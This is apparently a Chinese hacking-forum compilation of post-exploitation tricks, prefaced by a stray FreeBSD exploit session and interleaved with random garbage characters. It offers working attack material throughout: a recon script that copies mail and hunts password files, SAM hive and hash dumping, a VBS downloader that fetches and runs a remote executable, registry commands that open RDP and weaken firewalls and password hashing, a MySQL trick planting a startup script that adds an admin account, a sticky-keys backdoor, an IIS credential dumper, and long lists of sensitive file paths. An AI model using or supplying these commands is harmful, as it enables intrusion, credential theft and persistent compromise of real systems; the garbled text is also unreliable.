[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
) Z, O7 R2 ]4 O2 r" |& ?! o) l  s* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
4 L6 }3 ]; ^- G6 S/ `" C* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
" ?+ F8 [* H/ N; o* [argp@julius ~]$ ./nfs_mount_ex
; q# i, j" j/ O' t, O*
9 R9 v3 J, J$ V4 g) f8 y; Mcalling nmount()
; f* A" H- {5 F! B
1 H3 T  _& o( F$ ]& ]- M（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
# j- f* W, B4 X/ V' y——————————————
2 _- u) ?+ p9 V9 ~1 r感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
* M1 [$ Y' M3 i0 A" X# C. G( F1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
- I* g4 J9 U1 ?; ?. ]# P! M注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
# U$ V# l0 N* Z0 V2 M5 m$ h! d( J若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
" m  Z2 \' r1 H}  

提权先执行systeminfo
6 {  [$ Z" F" R4 ~# Wtoken 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
4 U+ C9 ~. k& \2 v# b( s$ Lrar a -k -r -s -m3 c:\1.rar c:\folder
7 a1 ^0 R0 r5 A) g7 W5 T+ v——————————————
6 _! C3 i& y$ D2、收集系统信息的脚本  
% V1 J$ U6 S0 J3 j7 Ffor window：

@echo off
9 N0 A0 v0 x5 Fecho #########system info collection
; G0 W$ |2 i; H1 Jsysteminfo
, ^" B* r4 M6 [: o& W' @' `ver
hostname
net user
net localgroup
net localgroup administrators
. H/ O7 s* Z! A( w3 wnet user guest
net user administrator
" z& v9 F' {1 v* K4 A9 p& M3 ]
echo #######at- with   atq#####
! t( h! q& Q9 T$ {echo schtask /query
; T" O/ y, s( T/ f3 \# @) F
  U# b# U8 T, eecho
echo ####task-list#############
, a0 R# d# g- B6 C$ b$ K. Y  etasklist /svc
8 K  P' g) ~$ V: x1 R9 Yecho
8 x6 e' {2 \9 _+ x# V( W' d. Wecho ####net-work infomation
# v: N! x/ S( Z8 Oipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
0 x" i- b, @2 x6 Decho
echo #######service############
2 ]$ L$ ^8 J' H' L$ _# Qsc query type= service state= all
# Q$ A8 c" N  b) Kecho #######file-##############
cd \
4 X' T( [/ v3 etree -F
for linux：
# h# Y3 h: ]+ F5 W) y: T- j$ P
( ~. X) f$ l  {2 [& y8 u#!/bin/bash
$ u3 k4 v9 j0 E2 p; c
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

6 d7 T; P6 j7 y( l0 H
echo 'u'r id is' `id`
" r$ z3 I- J9 N& L3 e5 \1 m9 n( ~echo ###atq&crontab#####
atq
% `* R3 N; p$ Bcrontab -l
& M3 k% Y2 S% N# S0 d, Kecho #####about var#####
" }4 b& m, J5 h+ a4 O$ m. ?6 j: o' Wset
$ `& J3 @' U8 z
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
7 S* u2 m( W$ m( F+ p8 q! Dcat /etc/hosts
9 ]0 [. W* \2 ?. mhostname
ipconfig -a
/ h8 g8 k, B& v9 u/ g' larp -v
& K) g4 K8 m7 e, u$ F- K0 Hecho ########user####
0 Z6 @& C0 t: w: J$ q# d$ Ccat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
7 Y- J7 Z0 p+ K5 R3 Nsleep 5
locate password >>/tmp/password 2>/dev/null
/ N% z2 l1 k* s! x5 X5 B! {: Rsleep 5
4 W( B+ P8 F1 U# Tlocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
+ X7 G, M" ?" Z: P  }% Fsleep 5
( X( I4 ~6 g' X$ I! s6 l# V
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
! ]% o! b% O* H! _+ @: Srm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
6 B7 q9 k6 y( D5 c注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
1 U* b9 z6 j) H8 A3 S" ]接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
/ q6 t2 E% A. A9 O' f& x: {6 e* J4 A据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
1 y( r7 l) G7 ]1 O4、vbs 下载者
1
& @, p" H  ?$ ]9 q7 {" Uecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
% x7 @- U. }9 i+ o- K( t' Oecho sGet.Type = 1 >>c:\windows\cftmon.vbs
0 {4 V5 p& `3 ^! O) Hecho sGet.Open() >>c:\windows\cftmon.vbs
# H/ e( r  s: F+ pecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
  A4 t" p" B% I! q# j. E& lecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

' u& ~: e0 v; s% w5 B% a' w; m5 i2
$ W4 J0 V/ ^1 [4 z" BOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
7 w9 d& P% g0 E9 Z. p7 N" S! \& y$ IsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
" a! Z+ s+ G5 Q, N* ?
$ {9 d- ~+ i% lcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

, C0 j2 }: S/ P: ~- U, V当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
7 g- j7 o: E, a: S! o9 W5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
: I* n& O  h5 _, {+ D5 k3 gREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
1 f5 o7 _. U8 E" U————————————————
6、create table a (cmd text);
! _: T5 N, I7 F- A* [( Xinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
) P2 d# n. g% x9 v. Einsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
$ X4 u1 m7 F1 B7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
  K9 V/ N2 w% A) G: W( C_____
8、for /d %i in (d:\freehost\*) do @echo %i

3 v  I( C1 @6 y+ }列出d的所有目录
0 _6 B  `( p5 A% S# k# J  
  for /d %i in (???) do @echo %i
+ j' ]6 t0 Z7 p) G& w3 _! M" q
把当前路径下文件夹的名字只有1-3个字母的打出来
4 `! Z& j5 f2 Z$ k/ r- h, P& h. @
2.for /r %i in (*.exe) do @echo %i
  
$ @- _' W% N/ S- i9 e3 j- b以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
6 l6 Q8 T8 t/ t0 V9 i' J/ R
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

6 D( [; T/ f$ d( Y; ?* K8 `( t3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
4 o# {7 w( H3 w& K( P  T4 V
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
& X  g9 j: J+ B  J0 U
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
9 k: l0 U) R3 c: e) @  C1.Administrator注册表备份:
( U% @8 u- \, z1 ?8 ?! n. Y  _reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
4 Y. d/ K' y5 l! N7 C, T
! ?& P; W* D5 B* v- O* B. A2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
& `' l0 \  t# T4 r修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

, t# D& Y/ V& K4 H4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
6 W8 o% M' \# a; U3 |
5.禁用TCP/IP端口筛选(需重启):
0 Z+ e5 B7 b( I3 W4 \% d! ~" wREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
8 e  q& l9 S2 U% ]% c
6 |5 S  z& Y" ]0 \( g6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
; y! i! D) Q* P2 y+ _/ Xnetsh ipsec dynamic set config ipsecexempt value=0

& z0 x3 L1 E& l& i/ e7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
6 |; \3 o; d' f8 f9 n! l. yreg save hklm\sam c:\sam.hive
1 Q; c" n0 U2 J4 i. [; J: R! z$ Oreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
; a1 r  |8 z/ B5 t2 Oreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
/ a, ?" s% d7 V- p# u-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
; i9 A; ~1 v1 IFor Each obj3w In objservice
/ n6 k: L) t6 j- S* Q& i4 P5 z5 dchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
; G$ n! P# C6 Fif err.number<>0 then
exit for
msgbox("error!")
: P# J* e. B" t" U, X5 z. }( i4 j+ Gwscript.quit
end if
serverbindings=IIS.serverBindings
  }9 y* y( P1 Z* cServerComment=iis.servercomment
. H* ?3 E9 j" o7 |3 {5 rset IISweb=iis.getobject("IIsWebVirtualDir","Root")
/ Q9 B2 l2 I% z3 n2 [user=iisweb.AnonymousUserName
( e9 k  V: D3 _7 E8 Upass=iisweb.AnonymousUserPass
  |( m; ?3 i$ S& b% ypath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
! r' g/ l. A+ z% ]5 T0 x% SNext
  i) V/ Q  w1 x" \, Ywscript.echo list
Set ObjService=Nothing
, ^9 E8 x6 X# [' pwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
1 q  {( }' ^: K$ _9 N* e  y2 SWScript.Quit
" O% b& N) i/ X3 P1 O9 ~7 Y复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
0 m% Z, h7 e/ k5 w  G7 Q2 y2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
/ S& j7 k0 }5 S& g$ ~! o将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
% c2 t" N8 s( M' |2 ?复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
$ y5 L& E1 R* \% b, J9 [ 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
3 C/ q( a4 }9 b# U
==============================================================
LINUX常见路径：

. h2 h/ J% T: j* [& F) e/etc/passwd
/etc/shadow
6 W5 p" Z. l! M8 Z/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
8 J, U7 f& b, f/var/www/htdocs/index.php
/var/www/conf/httpd.conf
3 r5 l& I! H: Q" I3 I/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
& k- r2 d; m1 N2 P0 B+ s/var/httpd/conf/php.ini
' B3 K  r+ i# j/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
: Q0 `; A2 Q$ M2 e, S/opt/www/htdocs/index.php
5 U* F% v  D) d' F, ?( T) ]3 I/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
; s7 \5 L; L  ~" O1 F0 x7 q7 c/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
0 {% G2 A0 F" S+ V; ?/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
! F! {( ^% v6 C4 V/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
4 @" u" V2 N8 u; o! s; U9 z% i, r% E/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/ f) n) V' f8 e/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
) r. O+ S1 U! p# ^/etc/apache/apache.conf
/etc/apache2/apache.conf
  I& V4 Z' d4 u( ~9 K9 d; L2 p/etc/apache/httpd.conf
/ p$ o* Y; r4 g3 [. f) e# Z, W7 W& i/etc/apache2/httpd.conf
  d* N3 {% m- x7 P( R" _/ K$ A% i/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
1 G8 s$ j6 z( \/etc/phpmyadmin/config.inc.php
7 z- t9 Y6 q( ~5 V8 U0 v  Q/etc/mysql/my.cnf
* O! v) L/ q" E/ U/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
  z' }" X" b) \( r! y/etc/httpd/logs/error_log
2 n. j2 o* j0 ?) e/etc/httpd/logs/error.log
/ k! Z, J  X' D/ ~" b/etc/httpd/logs/access_log
7 z/ I' `5 K& F6 ^: h/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
- F, O# u- ~7 M/home/apache2/conf/httpd.conf
9 C) c$ c+ K; d/var/log/apache/error_log
5 V& Z9 E4 m6 T/ e( _0 W/var/log/apache/error.log
3 {" Y9 B# u  e3 ^/var/log/apache/access_log
  W4 ?/ o8 Z3 M% U6 [) f/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
  E, H2 @$ D6 j* n/var/www/logs/error.log
# d, H/ S6 F3 L% v- N! ^/var/www/logs/access_log
) W( q0 E+ ^; ^! u) G% k$ Z/var/www/logs/access.log
+ [7 E! O8 X! ~. J! j9 T. s8 l  E6 s/usr/local/apache/logs/error_log
0 D  ?2 d1 |5 K/usr/local/apache/logs/error.log
# r5 d+ W# i$ {( v/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
  J8 w- L2 T7 `- j! {6 v/var/log/error.log
/var/log/access_log
/var/log/access.log
' O( _4 Y8 [% g/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
( N9 A! _! G2 ?  b/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
) U1 I8 m* u+ b. U/usr/lib/php/php.ini
/usr/local/etc/php.ini
7 L, _7 B6 R* P4 e/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
: T7 \: N% y6 Z% ~! I/ ]2 ?0 u/usr/local/php4/lib/php.ini
, t, r2 \3 J0 ~  R$ f  {. z/usr/local/php4/php.ini
2 Q4 r$ x. t& O' J/ P  G8 w/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
" J) @1 ]0 G  p0 S3 L+ ~/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/ Z5 X1 X* _+ D1 T" r/usr/local/apache2/conf/httpd.conf
1 T: P, ]4 x) S, R) O/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
; K5 H% H4 d7 h/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
: O7 l5 K! c. l7 [. E" |: }5 o, m/etc/php/php4/php.ini
) z. n( o  S+ ?& u: p6 C/ v2 G/etc/php/apache/php.ini
$ y; U6 g4 C6 n' ^! g1 H/etc/php/apache2/php.ini
/web/conf/php.ini
  s4 N) e; ?5 z( \2 w/usr/local/Zend/etc/php.ini
. G' K" d/ v% q. X/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
% D  G* w3 @. ~/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
4 L: X5 ~9 J" }) H" A) x, X! H2 }/php5/php.ini
/php4/php.ini
/php/php.ini
# F2 F: }0 `; l1 t) X* A. T" q& ~/PHP/php.ini
; X. J  f, E! H# I' }/apache/php/php.ini
" _  M1 t- {; f! h: `" Z7 d3 z* b' P/xampp/apache/bin/php.ini
% {* y9 y# b: y2 g; r7 w, F/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
4 b2 b& o: z7 g5 r/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
2 p5 \$ {# ~; P, O/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
; `4 O8 l; U  p/ Z  u/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
9 C- h/ \, u, Y/ C% V/ \4 N( L, ^/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
7 t5 ~5 h; W+ c/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
6 H* x& o- g  Y% E+ U/usr/local/cpanel/logs/error_log
: V+ ?4 S9 @8 _3 L- E/ w- ~/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
; ?1 G" o, Y' J3 W/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
( v! ^2 r) j; a6 d. Y, P4 h( q) b- w
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
* C" m# b" j$ K3 p9 d* pc:\boot.ini
c:\1.txt
3 X8 |" W, j: ~* x, W& Sc:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
: Q( d/ M4 @' r6 q- p, Z, ic:\CMailServer\WebMail\index.asp
0 f7 @  P  G& ic:\program files\CMailServer\CMailServer.exe
2 `/ B0 U6 I' X+ Gc:\program files\CMailServer\WebMail\index.asp
+ S8 c) U  ?+ gC:\WinWebMail\SysInfo.ini
* f. A, ]7 f) e1 CC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

# `1 x" \; G' j1 ~5 p" rc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
/ t5 Q6 y  W$ q& b  k
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
- X- I: Y3 V7 VC:\WINDOWS\web.config
6 M; k  @4 r1 q9 k$ ?+ Z9 N/ Hc:\web\index.html
. X, w( B, W# p. t0 Ac:\www\index.html
7 w5 a! s% w% h' }# Oc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
8 v* o" V9 b. p" e) Lc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
  w. ^  Z* C' ~# _c:\WWWROOT\index.php
9 r. F6 Z2 `" ~4 A; Ec:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
* j" d3 i8 I  b1 e7 B/ U5 Fc:\web\default.asp
- O8 W( ]# A+ G3 Zc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
4 M% W4 d9 `# ?; Q+ Uc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
4 z9 x6 t# i! [+ U3 ic:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
1 R1 C' g4 W1 s0 z+ j! FC:\Program Files\Microsoft Office\OFFICE11\winword.exe
8 F: t, s! k1 f8 HC:\Program Files\Microsoft Office\OFFICE12\winword.exe
: w- U* I9 g$ ~. x: r; D' M2 N1 v, dC:\Program Files\Internet Explorer\IEXPLORE.EXE
/ G' K+ X! p0 `8 y& p& VC:\Program Files\winrar\rar.exe
" I# ^/ @( \$ O" [  VC:\Program Files\360\360Safe\360safe.exe
% T) D, e' @& K  G% ]- {C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
- r- E, T; @2 Cc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
' S2 `8 |0 l7 @C:\Documents and Settings\All Users\Start Menu\desktop.ini
# ^, O& S& T  n& ?# ~C:\Documents and Settings\Administrator\My Documents\Default.rdp
4 B; {* \5 q; J4 W1 b( TC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
" v2 t3 m% `. L8 f  {C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
5 j% e8 ~0 J( `. G& }5 g( i) ]C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
# m" A5 X8 P+ }( v" j" A3 F8 U4 aC:\Program Files\Symantec\SYMEVENT.INF
; m6 \& w8 `6 a+ g$ o, y/ YC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
1 k; o5 x  A$ a# x; w4 vC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
3 s; n4 y( [2 o( FC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
+ x. }5 B* Z1 I7 w5 nC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
3 K6 S; \$ G: |C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
$ O1 o2 ~* G. h; E2 m+ I' F, m1 Oc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
9 O  a6 e# e% o: A( M/ N6 ?2 OC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
% U9 L0 q  M( {; {& N5 c$ u# L0 oC:\WINDOWS\system32\config\sam
% Z  g* [8 I) R! o7 n5 M- p- ]C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
" c, o* d  {9 Cc:\tomcat6\tomcat6\bin\version.sh
5 _% f2 p9 N" A7 F" Oc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
& K+ P" y8 U- fc:\program files\tomcat6\bin\version.sh
( I; Z8 h  B% B1 g3 v- X$ pC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
( G7 Z7 v3 ~, G3 \5 s8 \- y/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
0 l1 Y9 q1 {' Z  x) t& Q" W$ fc:\Program Files\QQ2007\qq.exe
# e) u0 x# b, s# j8 s5 v+ I3 o! Oc:\Program Files\Tencent\qq\User.db
5 w0 ?4 I0 F: I2 V, ~3 ^c:\Program Files\Tencent\qq\qq.exe
/ B8 p2 u9 e' i+ o4 g, b' Ec:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
' E. o# Q3 }$ L) l4 c) a# ~c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
6 u$ x7 _& C* ]7 `1 w* N+ y3 rC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
. y' I2 _- V) ~( J5 ~9 lc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
